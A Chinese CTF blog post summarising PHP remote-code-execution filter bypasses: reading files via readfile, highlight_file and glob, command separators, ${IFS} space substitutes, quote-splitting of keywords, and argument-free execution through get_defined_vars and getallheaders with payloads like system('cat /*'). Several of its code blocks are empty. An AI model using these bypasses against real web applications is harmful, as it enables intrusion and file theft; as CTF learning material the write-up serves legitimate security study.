RCE进阶总结
本文最后更新于 2026年2月10日 晚上
最近遇到一些RCE题目绕过方式比较新奇,在这里总结一下
读取文件
很多题目把linux命令中常见的cat,more,less等等都过滤了
CTF里读取文件相关知识点总结(持续更新中) – fushulingのblog
当然也可以直接使用函数
readfile
可以
readfile('/fl'.'ag');绕过关键字过滤file_get_contents
这个没有回显,需要
echo file_get_contents('/flag');highlight_file
highlight_file(glob("/f*")[0]);
读取目录
getcwd()
返回当前工作目录
dirname()
返回路径中的目录部分。多次嵌套
dirname()可以到达根目录。scandir()
列出根目录下的所有文件
glob()
命令执行
有些题目过滤了system,除了像上文那样读取目录然后读取文件,还可以找到system的替代
Bypass
命令分割符
%0a %0d ; & && | ||
空格
<、<>、${IFS}、$IFS、$IFS$9
关键字
- 单引号(‘)双引号(“”)反引号(``)
- 反斜杠\
无参🐎
这里参考了一下E73RN4L师哥的周报
方法一
1 | |
方法二
current(get_defined_vars())指针移到GET到的变
上处第一个current()可以替换为end()或reset(),均能利用到GET的内
1 | |
方法三
先POST指令1=system(‘cat /Th1s_1s_R2a1_flag’);
再code=print_r(get_defined_vars());得到当前已定义变量
1 | |
发现要利用的POST请求在第二个元组中的第二个内容
1 | |
上面第一处next()可以换成end()
方法四
getallheaders()返回所有的HTTP头信息
1 | |
发现HTTP头信息按倒序排列,所以把a: system(‘cat /*’);放在最后,在数组中就是第一个
1 | |